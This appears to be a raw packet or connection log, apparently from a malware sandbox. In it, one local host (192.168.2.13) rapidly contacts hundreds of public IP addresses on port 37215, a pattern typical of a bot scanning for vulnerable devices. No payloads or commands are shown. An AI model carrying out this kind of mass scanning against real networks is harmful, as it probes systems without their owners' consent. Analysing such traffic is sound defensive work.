Dec 30, 2024 11:58:13.036484957 CET	57014	37215	192.168.2.13	197.160.247.104
Dec 30, 2024 11:58:13.036803961 CET	45810	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:13.037426949 CET	57014	37215	192.168.2.13	197.160.247.104
Dec 30, 2024 11:58:13.037426949 CET	49158	37215	192.168.2.13	41.143.227.24
Dec 30, 2024 11:58:13.039984941 CET	37215	42926	197.69.193.230	192.168.2.13
Dec 30, 2024 11:58:13.041373014 CET	37215	55182	156.45.243.143	192.168.2.13
Dec 30, 2024 11:58:13.041508913 CET	55182	37215	192.168.2.13	156.45.243.143
Dec 30, 2024 11:58:13.041579008 CET	37215	45810	156.157.129.119	192.168.2.13
Dec 30, 2024 11:58:13.041682959 CET	45810	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:13.041682959 CET	45810	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:13.041682959 CET	45810	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:13.041982889 CET	45812	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:13.042242050 CET	37215	57014	197.160.247.104	192.168.2.13
Dec 30, 2024 11:58:13.042258978 CET	37215	49158	41.143.227.24	192.168.2.13
Dec 30, 2024 11:58:13.042284966 CET	57014	37215	192.168.2.13	197.160.247.104
Dec 30, 2024 11:58:13.042284966 CET	49158	37215	192.168.2.13	41.143.227.24
Dec 30, 2024 11:58:13.044076920 CET	37215	39198	41.67.222.98	192.168.2.13
Dec 30, 2024 11:58:13.044086933 CET	37215	49242	41.50.219.153	192.168.2.13
Dec 30, 2024 11:58:13.044090986 CET	37215	49630	156.153.64.61	192.168.2.13
Dec 30, 2024 11:58:13.044094086 CET	37215	48798	41.218.106.229	192.168.2.13
Dec 30, 2024 11:58:13.044096947 CET	37215	43242	197.173.173.246	192.168.2.13
Dec 30, 2024 11:58:13.044100046 CET	37215	32900	41.213.41.74	192.168.2.13
Dec 30, 2024 11:58:13.044107914 CET	37215	55636	197.250.211.196	192.168.2.13
Dec 30, 2024 11:58:13.044115067 CET	37215	58722	156.235.162.94	192.168.2.13
Dec 30, 2024 11:58:13.044122934 CET	37215	42338	156.124.74.71	192.168.2.13
Dec 30, 2024 11:58:13.044131041 CET	37215	48862	197.218.0.81	192.168.2.13
Dec 30, 2024 11:58:13.044136047 CET	37215	38900	156.198.249.66	192.168.2.13
Dec 30, 2024 11:58:13.044138908 CET	37215	52628	156.7.46.234	192.168.2.13
Dec 30, 2024 11:58:13.046493053 CET	37215	45810	156.157.129.119	192.168.2.13
Dec 30, 2024 11:58:13.063438892 CET	56538	37215	192.168.2.13	156.73.13.229
Dec 30, 2024 11:58:13.063438892 CET	60408	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:13.068223953 CET	37215	56538	156.73.13.229	192.168.2.13
Dec 30, 2024 11:58:13.068247080 CET	37215	60408	156.164.215.79	192.168.2.13
Dec 30, 2024 11:58:13.068310022 CET	56538	37215	192.168.2.13	156.73.13.229
Dec 30, 2024 11:58:13.068327904 CET	56538	37215	192.168.2.13	156.73.13.229
Dec 30, 2024 11:58:13.068329096 CET	60408	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:13.068414927 CET	60408	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:13.068414927 CET	60408	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:13.068948030 CET	60496	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:13.073246956 CET	37215	60408	156.164.215.79	192.168.2.13
Dec 30, 2024 11:58:13.073450089 CET	37215	56538	156.73.13.229	192.168.2.13
Dec 30, 2024 11:58:13.073499918 CET	56538	37215	192.168.2.13	156.73.13.229
Dec 30, 2024 11:58:13.073771954 CET	37215	60496	156.164.215.79	192.168.2.13
Dec 30, 2024 11:58:13.073863983 CET	60496	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:13.073863983 CET	60496	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:13.078828096 CET	37215	60496	156.164.215.79	192.168.2.13
Dec 30, 2024 11:58:13.078877926 CET	60496	37215	192.168.2.13	156.164.215.79
Dec 30, 2024 11:58:13.092019081 CET	37215	45810	156.157.129.119	192.168.2.13
Dec 30, 2024 11:58:13.116105080 CET	37215	60408	156.164.215.79	192.168.2.13
Dec 30, 2024 11:58:13.515734911 CET	37215	55256	197.210.230.82	192.168.2.13
Dec 30, 2024 11:58:13.515889883 CET	55256	37215	192.168.2.13	197.210.230.82
Dec 30, 2024 11:58:13.656162977 CET	37215	60702	156.244.77.93	192.168.2.13
Dec 30, 2024 11:58:13.656447887 CET	60702	37215	192.168.2.13	156.244.77.93
Dec 30, 2024 11:58:13.991575003 CET	49116	37215	192.168.2.13	197.19.198.97
Dec 30, 2024 11:58:13.991590023 CET	49908	37215	192.168.2.13	197.165.15.60
Dec 30, 2024 11:58:13.991590977 CET	45784	37215	192.168.2.13	197.144.53.206
Dec 30, 2024 11:58:13.991594076 CET	43724	37215	192.168.2.13	197.18.39.194
Dec 30, 2024 11:58:13.991594076 CET	54078	37215	192.168.2.13	197.32.93.1
Dec 30, 2024 11:58:13.991602898 CET	60866	37215	192.168.2.13	156.13.68.77
Dec 30, 2024 11:58:13.991604090 CET	34790	37215	192.168.2.13	156.113.80.31
Dec 30, 2024 11:58:13.991602898 CET	33562	37215	192.168.2.13	197.251.95.164
Dec 30, 2024 11:58:13.991602898 CET	51350	37215	192.168.2.13	156.10.13.115
Dec 30, 2024 11:58:13.991604090 CET	35984	37215	192.168.2.13	41.90.214.101
Dec 30, 2024 11:58:13.991604090 CET	35568	37215	192.168.2.13	197.19.202.31
Dec 30, 2024 11:58:13.991622925 CET	34864	37215	192.168.2.13	197.235.56.4
Dec 30, 2024 11:58:13.991631985 CET	36582	37215	192.168.2.13	156.106.233.154
Dec 30, 2024 11:58:13.991636038 CET	40778	37215	192.168.2.13	156.27.11.136
Dec 30, 2024 11:58:13.991636992 CET	39340	37215	192.168.2.13	197.77.123.95
Dec 30, 2024 11:58:13.991636992 CET	51492	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:13.991636992 CET	56200	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:13.991641998 CET	42116	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:13.991642952 CET	38028	37215	192.168.2.13	41.236.110.200
Dec 30, 2024 11:58:13.991653919 CET	40708	37215	192.168.2.13	197.64.20.209
Dec 30, 2024 11:58:13.991653919 CET	45230	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:13.991667032 CET	45974	37215	192.168.2.13	197.15.134.48
Dec 30, 2024 11:58:13.991667986 CET	45828	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:13.995585918 CET	37215	53042	156.250.125.228	192.168.2.13
Dec 30, 2024 11:58:13.995707989 CET	53042	37215	192.168.2.13	156.250.125.228
Dec 30, 2024 11:58:13.997021914 CET	37215	45784	197.144.53.206	192.168.2.13
Dec 30, 2024 11:58:13.997031927 CET	37215	43724	197.18.39.194	192.168.2.13
Dec 30, 2024 11:58:13.997040987 CET	37215	49908	197.165.15.60	192.168.2.13
Dec 30, 2024 11:58:13.997050047 CET	37215	54078	197.32.93.1	192.168.2.13
Dec 30, 2024 11:58:13.997065067 CET	37215	49116	197.19.198.97	192.168.2.13
Dec 30, 2024 11:58:13.997070074 CET	37215	60866	156.13.68.77	192.168.2.13
Dec 30, 2024 11:58:13.997077942 CET	37215	35568	197.19.202.31	192.168.2.13
Dec 30, 2024 11:58:13.997087002 CET	37215	33562	197.251.95.164	192.168.2.13
Dec 30, 2024 11:58:13.997087955 CET	45784	37215	192.168.2.13	197.144.53.206
Dec 30, 2024 11:58:13.997101068 CET	37215	34790	156.113.80.31	192.168.2.13
Dec 30, 2024 11:58:13.997102976 CET	43724	37215	192.168.2.13	197.18.39.194
Dec 30, 2024 11:58:13.997107983 CET	49908	37215	192.168.2.13	197.165.15.60
Dec 30, 2024 11:58:13.997109890 CET	37215	51350	156.10.13.115	192.168.2.13
Dec 30, 2024 11:58:13.997118950 CET	37215	36582	156.106.233.154	192.168.2.13
Dec 30, 2024 11:58:13.997123957 CET	54078	37215	192.168.2.13	197.32.93.1
Dec 30, 2024 11:58:13.997128963 CET	60866	37215	192.168.2.13	156.13.68.77
Dec 30, 2024 11:58:13.997129917 CET	37215	34864	197.235.56.4	192.168.2.13
Dec 30, 2024 11:58:13.997132063 CET	49116	37215	192.168.2.13	197.19.198.97
Dec 30, 2024 11:58:13.997138977 CET	37215	40778	156.27.11.136	192.168.2.13
Dec 30, 2024 11:58:13.997142076 CET	35568	37215	192.168.2.13	197.19.202.31
Dec 30, 2024 11:58:13.997144938 CET	33562	37215	192.168.2.13	197.251.95.164
Dec 30, 2024 11:58:13.997144938 CET	51350	37215	192.168.2.13	156.10.13.115
Dec 30, 2024 11:58:13.997147083 CET	34790	37215	192.168.2.13	156.113.80.31
Dec 30, 2024 11:58:13.997149944 CET	37215	35984	41.90.214.101	192.168.2.13
Dec 30, 2024 11:58:13.997158051 CET	36582	37215	192.168.2.13	156.106.233.154
Dec 30, 2024 11:58:13.997159004 CET	37215	38028	41.236.110.200	192.168.2.13
Dec 30, 2024 11:58:13.997168064 CET	37215	42116	197.109.65.167	192.168.2.13
Dec 30, 2024 11:58:13.997175932 CET	37215	39340	197.77.123.95	192.168.2.13
Dec 30, 2024 11:58:13.997181892 CET	34864	37215	192.168.2.13	197.235.56.4
Dec 30, 2024 11:58:13.997184992 CET	37215	51492	197.39.230.71	192.168.2.13
Dec 30, 2024 11:58:13.997196913 CET	37215	56200	197.64.116.30	192.168.2.13
Dec 30, 2024 11:58:13.997199059 CET	38028	37215	192.168.2.13	41.236.110.200
Dec 30, 2024 11:58:13.997200012 CET	40778	37215	192.168.2.13	156.27.11.136
Dec 30, 2024 11:58:13.997200966 CET	35984	37215	192.168.2.13	41.90.214.101
Dec 30, 2024 11:58:13.997204065 CET	42116	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:13.997208118 CET	37215	40708	197.64.20.209	192.168.2.13
Dec 30, 2024 11:58:13.997217894 CET	37215	45230	41.89.93.238	192.168.2.13
Dec 30, 2024 11:58:13.997220039 CET	39340	37215	192.168.2.13	197.77.123.95
Dec 30, 2024 11:58:13.997220039 CET	51492	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:13.997226000 CET	37215	45974	197.15.134.48	192.168.2.13
Dec 30, 2024 11:58:13.997232914 CET	56200	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:13.997243881 CET	37215	45828	41.62.125.56	192.168.2.13
Dec 30, 2024 11:58:13.997255087 CET	40708	37215	192.168.2.13	197.64.20.209
Dec 30, 2024 11:58:13.997255087 CET	45230	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:13.997262955 CET	45974	37215	192.168.2.13	197.15.134.48
Dec 30, 2024 11:58:13.997282982 CET	45828	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:13.997411013 CET	42116	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:13.997438908 CET	45230	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:13.997445107 CET	56200	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:13.997452021 CET	51492	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:13.997473955 CET	34864	37215	192.168.2.13	197.235.56.4
Dec 30, 2024 11:58:13.997482061 CET	40708	37215	192.168.2.13	197.64.20.209
Dec 30, 2024 11:58:13.997499943 CET	36582	37215	192.168.2.13	156.106.233.154
Dec 30, 2024 11:58:13.997507095 CET	40778	37215	192.168.2.13	156.27.11.136
Dec 30, 2024 11:58:13.997514963 CET	38028	37215	192.168.2.13	41.236.110.200
Dec 30, 2024 11:58:13.997534037 CET	45974	37215	192.168.2.13	197.15.134.48
Dec 30, 2024 11:58:13.997549057 CET	35984	37215	192.168.2.13	41.90.214.101
Dec 30, 2024 11:58:13.997556925 CET	39340	37215	192.168.2.13	197.77.123.95
Dec 30, 2024 11:58:13.997560978 CET	33562	37215	192.168.2.13	197.251.95.164
Dec 30, 2024 11:58:13.997581005 CET	51350	37215	192.168.2.13	156.10.13.115
Dec 30, 2024 11:58:13.997592926 CET	34790	37215	192.168.2.13	156.113.80.31
Dec 30, 2024 11:58:13.997602940 CET	60866	37215	192.168.2.13	156.13.68.77
Dec 30, 2024 11:58:13.997623920 CET	35568	37215	192.168.2.13	197.19.202.31
Dec 30, 2024 11:58:13.997636080 CET	54078	37215	192.168.2.13	197.32.93.1
Dec 30, 2024 11:58:13.997652054 CET	45784	37215	192.168.2.13	197.144.53.206
Dec 30, 2024 11:58:13.997658968 CET	43724	37215	192.168.2.13	197.18.39.194
Dec 30, 2024 11:58:13.997672081 CET	49908	37215	192.168.2.13	197.165.15.60
Dec 30, 2024 11:58:13.997675896 CET	49116	37215	192.168.2.13	197.19.198.97
Dec 30, 2024 11:58:13.997694016 CET	45828	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:13.997741938 CET	14099	37215	192.168.2.13	41.26.165.195
Dec 30, 2024 11:58:13.997746944 CET	14099	37215	192.168.2.13	197.188.207.108
Dec 30, 2024 11:58:13.997760057 CET	14099	37215	192.168.2.13	41.142.156.141
Dec 30, 2024 11:58:13.997773886 CET	14099	37215	192.168.2.13	41.83.14.191
Dec 30, 2024 11:58:13.997781992 CET	14099	37215	192.168.2.13	41.24.62.196
Dec 30, 2024 11:58:13.997792959 CET	14099	37215	192.168.2.13	156.215.234.177
Dec 30, 2024 11:58:13.997807026 CET	14099	37215	192.168.2.13	41.71.20.238
Dec 30, 2024 11:58:13.997811079 CET	14099	37215	192.168.2.13	197.167.74.236
Dec 30, 2024 11:58:13.997818947 CET	14099	37215	192.168.2.13	156.121.201.145
Dec 30, 2024 11:58:13.997826099 CET	14099	37215	192.168.2.13	41.42.18.195
Dec 30, 2024 11:58:13.997844934 CET	14099	37215	192.168.2.13	156.118.23.20
Dec 30, 2024 11:58:13.997848034 CET	14099	37215	192.168.2.13	197.133.23.8
Dec 30, 2024 11:58:13.997868061 CET	14099	37215	192.168.2.13	156.202.34.48
Dec 30, 2024 11:58:13.997869015 CET	14099	37215	192.168.2.13	41.14.243.203
Dec 30, 2024 11:58:13.997885942 CET	14099	37215	192.168.2.13	41.134.236.240
Dec 30, 2024 11:58:13.997899055 CET	14099	37215	192.168.2.13	41.112.222.7
Dec 30, 2024 11:58:13.997900963 CET	14099	37215	192.168.2.13	197.181.210.215
Dec 30, 2024 11:58:13.997920036 CET	14099	37215	192.168.2.13	197.74.34.114
Dec 30, 2024 11:58:13.997937918 CET	14099	37215	192.168.2.13	156.74.171.147
Dec 30, 2024 11:58:13.997939110 CET	14099	37215	192.168.2.13	41.196.183.126
Dec 30, 2024 11:58:13.997946978 CET	14099	37215	192.168.2.13	41.90.32.240
Dec 30, 2024 11:58:13.997961998 CET	14099	37215	192.168.2.13	41.143.121.147
Dec 30, 2024 11:58:13.997962952 CET	14099	37215	192.168.2.13	156.149.76.222
Dec 30, 2024 11:58:13.997982979 CET	14099	37215	192.168.2.13	156.18.212.206
Dec 30, 2024 11:58:13.997982979 CET	14099	37215	192.168.2.13	41.54.241.43
Dec 30, 2024 11:58:13.997996092 CET	14099	37215	192.168.2.13	41.234.119.105
Dec 30, 2024 11:58:13.998003960 CET	14099	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:13.998022079 CET	14099	37215	192.168.2.13	41.200.112.148
Dec 30, 2024 11:58:13.998023033 CET	14099	37215	192.168.2.13	41.213.6.155
Dec 30, 2024 11:58:13.998039007 CET	14099	37215	192.168.2.13	41.25.2.207
Dec 30, 2024 11:58:13.998049974 CET	14099	37215	192.168.2.13	156.177.141.89
Dec 30, 2024 11:58:13.998064995 CET	14099	37215	192.168.2.13	197.53.49.121
Dec 30, 2024 11:58:13.998066902 CET	14099	37215	192.168.2.13	197.86.238.208
Dec 30, 2024 11:58:13.998075008 CET	14099	37215	192.168.2.13	156.79.244.172
Dec 30, 2024 11:58:13.998094082 CET	14099	37215	192.168.2.13	156.63.212.134
Dec 30, 2024 11:58:13.998095036 CET	14099	37215	192.168.2.13	41.221.189.12
Dec 30, 2024 11:58:13.998112917 CET	14099	37215	192.168.2.13	156.251.134.233
Dec 30, 2024 11:58:13.998112917 CET	14099	37215	192.168.2.13	41.19.142.244
Dec 30, 2024 11:58:13.998131990 CET	14099	37215	192.168.2.13	197.185.106.187
Dec 30, 2024 11:58:13.998136044 CET	14099	37215	192.168.2.13	156.134.20.212
Dec 30, 2024 11:58:13.998157978 CET	14099	37215	192.168.2.13	197.244.197.40
Dec 30, 2024 11:58:13.998162031 CET	14099	37215	192.168.2.13	41.48.59.9
Dec 30, 2024 11:58:13.998169899 CET	14099	37215	192.168.2.13	41.58.162.136
Dec 30, 2024 11:58:13.998183012 CET	14099	37215	192.168.2.13	156.235.14.64
Dec 30, 2024 11:58:13.998198032 CET	14099	37215	192.168.2.13	41.160.145.203
Dec 30, 2024 11:58:13.998202085 CET	14099	37215	192.168.2.13	197.80.100.18
Dec 30, 2024 11:58:13.998219013 CET	14099	37215	192.168.2.13	156.222.159.48
Dec 30, 2024 11:58:13.998219013 CET	14099	37215	192.168.2.13	197.35.60.183
Dec 30, 2024 11:58:13.998239994 CET	14099	37215	192.168.2.13	156.89.205.29
Dec 30, 2024 11:58:13.998250008 CET	14099	37215	192.168.2.13	156.0.77.16
Dec 30, 2024 11:58:13.998265028 CET	14099	37215	192.168.2.13	197.216.50.210
Dec 30, 2024 11:58:13.998269081 CET	14099	37215	192.168.2.13	156.236.249.21
Dec 30, 2024 11:58:13.998286009 CET	14099	37215	192.168.2.13	156.34.41.223
Dec 30, 2024 11:58:13.998297930 CET	14099	37215	192.168.2.13	197.136.139.30
Dec 30, 2024 11:58:13.998297930 CET	14099	37215	192.168.2.13	41.158.69.235
Dec 30, 2024 11:58:13.998308897 CET	14099	37215	192.168.2.13	41.5.56.42
Dec 30, 2024 11:58:13.998320103 CET	14099	37215	192.168.2.13	197.93.230.143
Dec 30, 2024 11:58:13.998339891 CET	14099	37215	192.168.2.13	197.240.42.136
Dec 30, 2024 11:58:13.998342991 CET	14099	37215	192.168.2.13	197.40.103.55
Dec 30, 2024 11:58:13.998354912 CET	14099	37215	192.168.2.13	197.213.6.201
Dec 30, 2024 11:58:13.998368025 CET	14099	37215	192.168.2.13	197.131.92.40
Dec 30, 2024 11:58:13.998368025 CET	14099	37215	192.168.2.13	197.158.93.77
Dec 30, 2024 11:58:13.998382092 CET	14099	37215	192.168.2.13	197.211.237.26
Dec 30, 2024 11:58:13.998399019 CET	14099	37215	192.168.2.13	41.28.36.75
Dec 30, 2024 11:58:13.998408079 CET	14099	37215	192.168.2.13	197.7.157.123
Dec 30, 2024 11:58:13.998411894 CET	14099	37215	192.168.2.13	197.8.182.204
Dec 30, 2024 11:58:13.998431921 CET	14099	37215	192.168.2.13	156.31.225.230
Dec 30, 2024 11:58:13.998442888 CET	14099	37215	192.168.2.13	41.253.157.56
Dec 30, 2024 11:58:13.998454094 CET	14099	37215	192.168.2.13	156.209.232.60
Dec 30, 2024 11:58:13.998470068 CET	14099	37215	192.168.2.13	41.9.230.10
Dec 30, 2024 11:58:13.998473883 CET	14099	37215	192.168.2.13	41.113.183.108
Dec 30, 2024 11:58:13.998490095 CET	14099	37215	192.168.2.13	41.231.98.129
Dec 30, 2024 11:58:13.998492956 CET	14099	37215	192.168.2.13	41.50.174.210
Dec 30, 2024 11:58:13.998511076 CET	14099	37215	192.168.2.13	197.7.230.102
Dec 30, 2024 11:58:13.998513937 CET	14099	37215	192.168.2.13	197.57.237.211
Dec 30, 2024 11:58:13.998529911 CET	14099	37215	192.168.2.13	41.100.205.9
Dec 30, 2024 11:58:13.998541117 CET	14099	37215	192.168.2.13	197.63.138.105
Dec 30, 2024 11:58:13.998548985 CET	14099	37215	192.168.2.13	197.160.69.93
Dec 30, 2024 11:58:13.998560905 CET	14099	37215	192.168.2.13	197.250.42.57
Dec 30, 2024 11:58:13.998578072 CET	14099	37215	192.168.2.13	41.93.15.16
Dec 30, 2024 11:58:13.998580933 CET	14099	37215	192.168.2.13	156.170.7.122
Dec 30, 2024 11:58:13.998596907 CET	14099	37215	192.168.2.13	41.242.41.88
Dec 30, 2024 11:58:13.998606920 CET	14099	37215	192.168.2.13	156.232.174.114
Dec 30, 2024 11:58:13.998616934 CET	14099	37215	192.168.2.13	156.155.238.252
Dec 30, 2024 11:58:13.998631001 CET	14099	37215	192.168.2.13	41.125.218.128
Dec 30, 2024 11:58:13.998637915 CET	14099	37215	192.168.2.13	41.218.167.254
Dec 30, 2024 11:58:13.998652935 CET	14099	37215	192.168.2.13	41.82.121.139
Dec 30, 2024 11:58:13.998661995 CET	14099	37215	192.168.2.13	197.159.193.121
Dec 30, 2024 11:58:13.998668909 CET	14099	37215	192.168.2.13	197.211.26.9
Dec 30, 2024 11:58:13.998684883 CET	14099	37215	192.168.2.13	41.143.135.83
Dec 30, 2024 11:58:13.998689890 CET	14099	37215	192.168.2.13	41.237.228.8
Dec 30, 2024 11:58:13.998703003 CET	14099	37215	192.168.2.13	41.122.9.227
Dec 30, 2024 11:58:13.998708010 CET	14099	37215	192.168.2.13	156.235.50.88
Dec 30, 2024 11:58:13.998712063 CET	14099	37215	192.168.2.13	197.124.18.41
Dec 30, 2024 11:58:13.998725891 CET	14099	37215	192.168.2.13	41.63.253.13
Dec 30, 2024 11:58:13.998725891 CET	14099	37215	192.168.2.13	156.193.51.45
Dec 30, 2024 11:58:13.998745918 CET	14099	37215	192.168.2.13	41.63.120.193
Dec 30, 2024 11:58:13.998753071 CET	14099	37215	192.168.2.13	156.151.234.54
Dec 30, 2024 11:58:13.998764992 CET	14099	37215	192.168.2.13	41.224.18.250
Dec 30, 2024 11:58:13.998775959 CET	14099	37215	192.168.2.13	41.248.66.62
Dec 30, 2024 11:58:13.998778105 CET	14099	37215	192.168.2.13	156.166.125.3
Dec 30, 2024 11:58:13.998790979 CET	14099	37215	192.168.2.13	41.241.41.150
Dec 30, 2024 11:58:13.998802900 CET	14099	37215	192.168.2.13	156.26.89.97
Dec 30, 2024 11:58:13.998809099 CET	14099	37215	192.168.2.13	41.88.184.124
Dec 30, 2024 11:58:13.998814106 CET	14099	37215	192.168.2.13	197.2.254.56
Dec 30, 2024 11:58:13.998827934 CET	14099	37215	192.168.2.13	197.111.63.12
Dec 30, 2024 11:58:13.998845100 CET	14099	37215	192.168.2.13	41.244.123.150
Dec 30, 2024 11:58:13.998848915 CET	14099	37215	192.168.2.13	156.135.2.29
Dec 30, 2024 11:58:13.998864889 CET	14099	37215	192.168.2.13	156.39.165.227
Dec 30, 2024 11:58:13.998867989 CET	14099	37215	192.168.2.13	197.254.10.167
Dec 30, 2024 11:58:13.998881102 CET	14099	37215	192.168.2.13	156.34.21.76
Dec 30, 2024 11:58:13.998892069 CET	14099	37215	192.168.2.13	156.224.240.207
Dec 30, 2024 11:58:13.998903036 CET	14099	37215	192.168.2.13	41.12.199.148
Dec 30, 2024 11:58:13.998919010 CET	14099	37215	192.168.2.13	156.44.181.16
Dec 30, 2024 11:58:13.998920918 CET	14099	37215	192.168.2.13	41.191.185.207
Dec 30, 2024 11:58:13.998931885 CET	14099	37215	192.168.2.13	197.208.127.146
Dec 30, 2024 11:58:13.998934984 CET	14099	37215	192.168.2.13	156.47.203.143
Dec 30, 2024 11:58:13.998948097 CET	14099	37215	192.168.2.13	41.81.44.34
Dec 30, 2024 11:58:13.998954058 CET	14099	37215	192.168.2.13	41.249.10.42
Dec 30, 2024 11:58:13.998969078 CET	14099	37215	192.168.2.13	41.158.98.120
Dec 30, 2024 11:58:13.998976946 CET	14099	37215	192.168.2.13	197.125.162.80
Dec 30, 2024 11:58:13.998991013 CET	14099	37215	192.168.2.13	41.220.53.233
Dec 30, 2024 11:58:13.999002934 CET	14099	37215	192.168.2.13	41.67.99.127
Dec 30, 2024 11:58:13.999015093 CET	14099	37215	192.168.2.13	156.161.156.51
Dec 30, 2024 11:58:13.999020100 CET	14099	37215	192.168.2.13	41.236.140.147
Dec 30, 2024 11:58:13.999034882 CET	14099	37215	192.168.2.13	156.207.80.34
Dec 30, 2024 11:58:13.999048948 CET	14099	37215	192.168.2.13	156.208.247.4
Dec 30, 2024 11:58:13.999053001 CET	14099	37215	192.168.2.13	197.45.43.3
Dec 30, 2024 11:58:13.999069929 CET	14099	37215	192.168.2.13	156.38.115.154
Dec 30, 2024 11:58:13.999085903 CET	14099	37215	192.168.2.13	156.113.2.8
Dec 30, 2024 11:58:13.999085903 CET	14099	37215	192.168.2.13	41.18.243.29
Dec 30, 2024 11:58:13.999104023 CET	14099	37215	192.168.2.13	197.11.192.191
Dec 30, 2024 11:58:13.999118090 CET	14099	37215	192.168.2.13	156.158.119.171
Dec 30, 2024 11:58:13.999123096 CET	14099	37215	192.168.2.13	156.95.141.34
Dec 30, 2024 11:58:13.999130964 CET	14099	37215	192.168.2.13	197.93.59.182
Dec 30, 2024 11:58:13.999133110 CET	14099	37215	192.168.2.13	41.126.11.195
Dec 30, 2024 11:58:13.999149084 CET	14099	37215	192.168.2.13	197.31.243.139
Dec 30, 2024 11:58:13.999156952 CET	14099	37215	192.168.2.13	197.168.204.196
Dec 30, 2024 11:58:13.999169111 CET	14099	37215	192.168.2.13	41.58.203.12
Dec 30, 2024 11:58:13.999177933 CET	14099	37215	192.168.2.13	41.31.174.17
Dec 30, 2024 11:58:13.999222040 CET	14099	37215	192.168.2.13	41.142.90.219
Dec 30, 2024 11:58:13.999223948 CET	14099	37215	192.168.2.13	197.40.30.223
Dec 30, 2024 11:58:13.999224901 CET	14099	37215	192.168.2.13	197.227.123.93
Dec 30, 2024 11:58:13.999237061 CET	14099	37215	192.168.2.13	41.181.217.72
Dec 30, 2024 11:58:13.999237061 CET	14099	37215	192.168.2.13	156.250.187.63
Dec 30, 2024 11:58:13.999245882 CET	14099	37215	192.168.2.13	156.106.84.225
Dec 30, 2024 11:58:13.999249935 CET	14099	37215	192.168.2.13	197.252.135.38
Dec 30, 2024 11:58:13.999249935 CET	14099	37215	192.168.2.13	41.222.106.28
Dec 30, 2024 11:58:13.999249935 CET	14099	37215	192.168.2.13	156.96.63.50
Dec 30, 2024 11:58:13.999250889 CET	14099	37215	192.168.2.13	156.121.203.198
Dec 30, 2024 11:58:13.999254942 CET	14099	37215	192.168.2.13	156.255.83.37
Dec 30, 2024 11:58:13.999262094 CET	14099	37215	192.168.2.13	197.32.94.126
Dec 30, 2024 11:58:13.999264956 CET	14099	37215	192.168.2.13	156.49.216.10
Dec 30, 2024 11:58:13.999264956 CET	14099	37215	192.168.2.13	156.181.217.198
Dec 30, 2024 11:58:13.999265909 CET	14099	37215	192.168.2.13	197.77.186.188
Dec 30, 2024 11:58:13.999265909 CET	14099	37215	192.168.2.13	197.46.64.141
Dec 30, 2024 11:58:13.999270916 CET	14099	37215	192.168.2.13	41.87.29.63
Dec 30, 2024 11:58:13.999275923 CET	14099	37215	192.168.2.13	197.45.176.83
Dec 30, 2024 11:58:13.999278069 CET	14099	37215	192.168.2.13	41.191.12.134
Dec 30, 2024 11:58:13.999293089 CET	14099	37215	192.168.2.13	197.224.169.190
Dec 30, 2024 11:58:14.002953053 CET	37215	14099	41.26.165.195	192.168.2.13
Dec 30, 2024 11:58:14.002964020 CET	37215	14099	197.188.207.108	192.168.2.13
Dec 30, 2024 11:58:14.002971888 CET	37215	14099	41.142.156.141	192.168.2.13
Dec 30, 2024 11:58:14.002976894 CET	37215	14099	41.83.14.191	192.168.2.13
Dec 30, 2024 11:58:14.002980947 CET	37215	14099	41.24.62.196	192.168.2.13
Dec 30, 2024 11:58:14.002985001 CET	37215	14099	156.215.234.177	192.168.2.13
Dec 30, 2024 11:58:14.002991915 CET	37215	14099	41.71.20.238	192.168.2.13
Dec 30, 2024 11:58:14.003000975 CET	37215	14099	197.167.74.236	192.168.2.13
Dec 30, 2024 11:58:14.003010035 CET	37215	14099	156.121.201.145	192.168.2.13
Dec 30, 2024 11:58:14.003011942 CET	14099	37215	192.168.2.13	41.26.165.195
Dec 30, 2024 11:58:14.003014088 CET	14099	37215	192.168.2.13	197.188.207.108
Dec 30, 2024 11:58:14.003014088 CET	14099	37215	192.168.2.13	41.142.156.141
Dec 30, 2024 11:58:14.003017902 CET	37215	14099	41.42.18.195	192.168.2.13
Dec 30, 2024 11:58:14.003022909 CET	14099	37215	192.168.2.13	41.83.14.191
Dec 30, 2024 11:58:14.003027916 CET	37215	14099	156.118.23.20	192.168.2.13
Dec 30, 2024 11:58:14.003029108 CET	14099	37215	192.168.2.13	41.24.62.196
Dec 30, 2024 11:58:14.003031015 CET	14099	37215	192.168.2.13	156.215.234.177
Dec 30, 2024 11:58:14.003032923 CET	14099	37215	192.168.2.13	41.71.20.238
Dec 30, 2024 11:58:14.003036976 CET	37215	45784	197.144.53.206	192.168.2.13
Dec 30, 2024 11:58:14.003036976 CET	14099	37215	192.168.2.13	156.121.201.145
Dec 30, 2024 11:58:14.003036976 CET	14099	37215	192.168.2.13	197.167.74.236
Dec 30, 2024 11:58:14.003046989 CET	37215	14099	197.133.23.8	192.168.2.13
Dec 30, 2024 11:58:14.003056049 CET	37215	14099	156.202.34.48	192.168.2.13
Dec 30, 2024 11:58:14.003058910 CET	14099	37215	192.168.2.13	41.42.18.195
Dec 30, 2024 11:58:14.003063917 CET	37215	43724	197.18.39.194	192.168.2.13
Dec 30, 2024 11:58:14.003066063 CET	14099	37215	192.168.2.13	156.118.23.20
